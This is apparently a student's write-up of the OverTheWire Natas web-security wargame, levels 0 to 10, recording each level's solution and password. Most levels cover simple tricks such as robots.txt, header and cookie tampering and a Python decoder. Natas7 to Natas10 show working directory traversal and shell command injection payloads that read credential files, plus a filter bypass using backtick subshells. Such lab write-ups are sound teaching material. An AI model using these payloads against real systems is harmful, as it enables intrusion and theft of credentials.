OTW Natas 0-10

Natas teaches the basics of serverside web-security.

- Each level of natas consists of its own website located at http://natasX.natas.labs.overthewire.org, where X is the level number. There is no SSH login. To access a level, enter the username for that level (e.g. natas0 for level 0) and its password.
- Each level has access to the password of the next level. Your job is to somehow obtain that next password and level up. All passwords are also stored in /etc/natas_webpass/. E.g. the password for natas5 is stored in the file /etc/natas_webpass/natas5 and only readable by natas4 and natas5.
Natas instructions

Natas0

Username: natas0
Password: natas0
URL:      http://natas0.natas.labs.overthewire.org
Natas0 info
Natas0 password

I found the password for natas1 in an HTML comment right below the mention that the password can be found "on the page". An expected start for a web challenge series.


Natas1

Username: natas1
Password: gtVrDuiDfck831PqWsLEZy5gyDz1clto
URL:      http://natas1.natas.labs.overthewire.org/

For this challenge, right clicking has been blocked, which means that f12 or ctrl + shift + i to open up the developer tools still works.

Natas1 password

Natas2

Username: natas2
Password: ZluruAthQk7Q2MqmDeTiUij2ZvWy2mBi
URL:      http://natas2.natas.labs.overthewire.org/
Natas2 info

This challenge shows "There is nothing on this page" on the landing page. This makes me think that the password is in a request header.

Looking at the network requests in the network tab of the developer tools, I noticed a pixel.png. It's just an image of a pixel, but it's located at /files/pixel.png.

Accessing /files/ gives the following directory listing

Directory listing of /files

The users.txt is:

# username:password
alice:BYNdCesZqW
bob:jw2ueICLvT
charlie:G5vCxkVV3m
natas3:sJIJNW6ucpu6HPZ1ZAchaDtwd7oGrD14
eve:zo4mJWyNj2
mallory:9urtcpzBmH
Output of users.txt that has the natas3 password

Natas3

Username: natas3
Password: sJIJNW6ucpu6HPZ1ZAchaDtwd7oGrD14
URL:      http://natas3.natas.labs.overthewire.org/
Natas3 info
Not even google will find it this time

I've made my fair share of CTF challenges to know that this is going to be in the robots.txt file...

# /robots.txt
User-agent: *
Disallow: /s3cr3t/
/robots.txt

Gottem, let's request the s3cr3t route

Natas3 /s3cr3t file listing
natas4:Z9tkRkWmpt9Qr7XrR5jWRkgOU901swEZ
/s3cr3t/users.txt

Natas4

Username: natas4
Password: Z9tkRkWmpt9Qr7XrR5jWRkgOU901swEZ
URL:      http://natas4.natas.labs.overthewire.org/
Natas4 info

We're greeted with this page:

Natas4 index

This immediately makes me think of the Referer header. This header can be set to show which web page the browser most recently visited, or referred the user to the current site.

Using the dev tools still, we can edit and resend a request

I had to look up how to spell "referer" to make sure that it would be recognized, but it's okay, I'm in Computer Science, not English.

Adding the Referer header
Unauthorized

Forgot the Authorization header :(

Creating the Basic HTTP authorization

Hmmmm still didn't work... After a little thinking I realized that echo will append a newline character to the end of the string to get to the next line in the terminal. This means that the Cg of the Authorization is an unneccessary newline character.

Comparison of base64 output with and without newline character

The -n argument to echo won't print out the trailing newline.

Natas4 success

Natas5

Username: natas5
Password: iX6IOfmpN7AYOQGPwtn3fXpbaJVJcHfq
URL:      http://natas5.natas.labs.overthewire.org/
Natas5 info
Natas5 not logged in

I swear I just logged in...

Checking the network tab again, we did get a 200 response code, so this must just be the challenge.

During my check to the network tab, I noticed that the loggedin cookie was set to 0

Natas5 logedin cookie

What happens when I set the boolean value to true?

Set cookie to true
Natas5 success

Natas6

Username: natas6
Password: aGoY4q2Dc6MgDq4oL4YtoKtyAg9PeHa1
URL:      http://natas6.natas.labs.overthewire.org/
Natas6 info
Natas6 index
<html>
<head>
<!-- This stuff in the header has nothing to do with the level -->
...snip...</head>
<body>
<h1>natas6</h1>
<div id="content">

<?

include "includes/secret.inc";

    if(array_key_exists("submit", $_POST)) {
        if($secret == $_POST['secret']) {
        print "Access granted. The password for natas7 is <censored>";
    } else {
        print "Wrong secret";
    }
    }
?>

<form method=post>
Input secret: <input name=secret><br>
<input type=submit name=submit>
</form>

<div id="viewsource"><a href="index-source.html">View sourcecode</a></div>
</div>
</body>
</html>
View sourcecode

Visiting /includes/secret.inc gives us a blank page, but has the secret in an html comment:

Natas6 secret
Natas6 success

Natas7

Username: natas7
Password: 7z3hEENjQtflzgnT29q7wAvMNfZdh0i9
URL:      http://natas7.natas.labs.overthewire.org/
Natas7 info
<html>
<head>
<!-- This stuff in the header has nothing to do with the level -->
<!-- ...snip... -->
<body>
<h1>natas7</h1>
<div id="content">

<a href="index.php?page=home">Home</a>
<a href="index.php?page=about">About</a>
<br>
<br>

<!-- hint: password for webuser natas8 is in /etc/natas_webpass/natas8 -->
</div>
</body>
</html>
Natas7 source

We have an index.php with a querystring that has a page parameter

My initial guess is that this is going to send any page / file without any verification or input sanitization.

Let's first request index.php to see if it will spit out the source code.

index.php recursion

Heh, it perpetually requests index.php, that's kinda funny.

Trying to request http://www.google.com

PHP warning!

Security side note

Having warnings, or verbose errors in production code might not explicitly be a vulnerability, but it sure helps find one. In this case we are getting the full path to the file, the line number, some server configuration, and the actual command on line 21 that is causing the error.

Back to the challenge

Anyway, we have the path the include function is searching for files: /var/www/natas/natas7/ and we know that the password is stored in /etc/natas_webpass/natas8 so we can construct a directory traversal attack like so: ../../../../etc/natas_webpass/natas8

Natas7 success

Natas8

Username: natas8
Password: DBfUBfqQG69KvJvJ1iAbMoIpwSNQ9bWe
URL:      http://natas8.natas.labs.overthewire.org/
Natas8 info

This index is the exact same as the natas6 page

<html>
<head>
<!-- This stuff in the header has nothing to do with the level -->
...snip...
</head>
<body>
<h1>natas8</h1>
<div id="content">

<?

$encodedSecret = "3d3d516343746d4d6d6c315669563362";

function encodeSecret($secret) {
    return bin2hex(strrev(base64_encode($secret)));
}

if(array_key_exists("submit", $_POST)) {
    if(encodeSecret($_POST['secret']) == $encodedSecret) {
    print "Access granted. The password for natas9 is <censored>";
    } else {
    print "Wrong secret";
    }
}
?>

<form method=post>
Input secret: <input name=secret><br>
<input type=submit name=submit>
</form>

<div id="viewsource"><a href="index-source.html">View sourcecode</a></div>
</div>
</body>
</html>
Natas8 view sourcecode

This has a little more PHP on the backend with the encodeSecret function, but since we have source, it's pretty easy to see what's going on with a few PHP documentation lookups.

base64_encode

First the parameter $secret will be base64 encoded, this is self explanatory

strrev

The encoded result will then be reversed using the "string reverse" command.

bin2hex

Finally the binary data (reversed string) will be converted to its hexadecimal representation.

Getting the secret

So going backwards through the process we have to convert the hex to ascii, reverse the string, then base64 decode.

#!/usr/bin/env python3
# natas8.py
from base64 import b64decode

# Readable python to unencode the natas8 secret
# Secret from natas8 view source
encoded_secret = "3d3d516343746d4d6d6c315669563362"

# Convert the secret into a byte array
byte_array = bytearray.fromhex(encoded_secret)
# Unhex the byte array to an ascii string
unhexed_secret = byte_array.decode()

# Reverse the ascii string
reversed_secret = unhexed_secret[::-1]

# Base64 decode the reversed string
decoded_secret = b64decode(reversed_secret)

# Print the final string
print(decoded_secret.decode("utf-8"))

# One liner
print(b64decode(bytearray.fromhex(encoded_secret).decode()[::-1]).decode("utf-8"))
Python to unencode the secret
Python output
Natas8 success!

Natas9

Username: natas9
Password: W0mMhUcRRnG8dcghE4qvk3JA9lGt8nDl
URL:      http://natas9.natas.labs.overthewire.org/
Natas9 info
Natas9 index
 <html>
<head>
<!-- This stuff in the header has nothing to do with the level -->
...snip...
</head>
<body>
<h1>natas9</h1>
<div id="content">
<form>
Find words containing: <input name=needle><input type=submit name=submit value=Search><br><br>
</form>


Output:
<pre>
<?
$key = "";

if(array_key_exists("needle", $_REQUEST)) {
    $key = $_REQUEST["needle"];
}

if($key != "") {
    passthru("grep -i $key dictionary.txt");
}
?>
</pre>

<div id="viewsource"><a href="index-source.html">View sourcecode</a></div>
</div>
</body>
</html>
natas9 source

At first glance it looks like a command injection, but let me double check the documentation to see what the passthru command does.

passthru

"Execute an external program and display raw output"

Looks like it functions as I expected, there's a nice warning here

Warning

When allowing user-supplied data to be passed to this function, use escapeshellarg() or escapeshellcmd() to ensure that users cannot trick the system into executing arbitrary commands.
PHP passthru command warning

I think this might be relevant here...

Back to the challenge!

Since there's no escaping or input sanitization we can put whatever we want into this command (grep -i $key dictionary.txt)

To break out of the grep command we can enter:

"abcdefg" dictionary.txt; ls; echo end

dictionary.txt
index-source.html
index.php
index.php.tmpl
end dictionary.txt

We can enter any bash command instead of ls and have it execute.

When looking at the various files, the output is interpreted as php.

index.php.tmpl

This led me on a little tangent to check the php version and other server info with the phpinfo function. When submitting PHP like so "abcdefg" dictionary.txt; echo "<? phpinfo() ?>"; echo end

Commented php commands

The phpinfo ends up commented out, so there is some input validation going on in the back end so a user can't brick the entire server, which is smart.

"abcdefg" dictionary.txt; whoami; ls -alh; pwd; echo end

natas9
total 480K
drwxr-x---  2 natas9 natas9 4.0K Dec 20  2016 .
drwxr-xr-x 41 root   root   4.0K Dec 22  2020 ..
-rw-r-----  1 natas9 natas9  118 Dec 20  2016 .htaccess
-rw-r-----  1 natas9 natas9  126 Oct 20  2018 .htpasswd
-rw-r-----  1 natas9 natas9 451K Dec 15  2016 dictionary.txt
-rw-r-----  1 natas9 natas9 2.0K Dec 20  2016 index-source.html
-rw-r-----  1 natas9 natas9 1.2K Dec 20  2016 index.php
-rw-r-----  1 natas9 natas9 1.2K Dec 15  2016 index.php.tmpl
/var/www/natas/natas9
end dictionary.txt
Output of whoami, ls and pwd commands

Catting the .htpasswd

natas9:$1$p1kwO0uc$UgW30vjmwt4x31BP1pWsV.
natas9:$1$H1h4/vhv$sGSIWyboB82roKx9lNLlE/
natas9:$1$G56GGLB5$XS1TpsdfDa8t4tvOx.V660
end dictionary.txt

What is .htpasswd

A way of storing user credentials? Can't add a password to it so nbd

Back to chall

"abcdefg" dictionary.txt; cat /etc/natas_webpass/natas10; echo end

Natas9 success

Natas10

Username: natas10
Password: nOpp1igQAkUzaI1GUUjzn1bFVj7xCNzu
URL:      http://natas10.natas.labs.overthewire.org/
Natas10 info
<?
$key = "";

if(array_key_exists("needle", $_REQUEST)) {
    $key = $_REQUEST["needle"];
}

if($key != "") {
    if(preg_match('/[;|&]/',$key)) {
        print "Input contains an illegal character!";
    } else {
        passthru("grep -i $key dictionary.txt");
    }
}
View source link for Natas10

preq_match

Looks like a regex match for the characters ';' '|' and '&'...

But they didn't filter out subshells with '`' or '$()'

Back to the challenge

As long as I don't use those special characters, I can execute any bash command

It uses the same grep command as Natas9: grep -i $key dictionary.txt

Using the backtick subshell to create a base64 encoded command (; ls; echo end) that has illegal characters and write it to /tmp/cmd.txt, then base64 decode the file:

`echo $(echo OyBsczsgZWNobyBlbmQg > /tmp/cmd.txt) $(base64 -d /tmp/cmd.txt)`
First attempt at bypassing the illegal character filter

This didn't work for some reason

I then tried to do a reverse shell with nc, but it just hung. Trying to ping the public facing server resulted in a 100% packet loss. This method isn't going to work this time.

Using Natas9's command injection with no sanitization we can see that the cmd.txt is being created using ls /tmp this means that the natas challenges share the /tmp directory.

We do have write to /tmp/, so let's just cat the password file into the /tmp/ directory

`cat /etc/natas_webpass/natas11 > /tmp/nolook`

Then, using Natas9: ; cat /tmp/nolook gives us the natas11 password
Output: U82q5TCMMQ9xuFoI3dYX61s7OZD9JKoK

I enjoyed thinking my way through Natas10, so I hope Natas11 and onward are also interesting!

PHSC138
The World Wide Web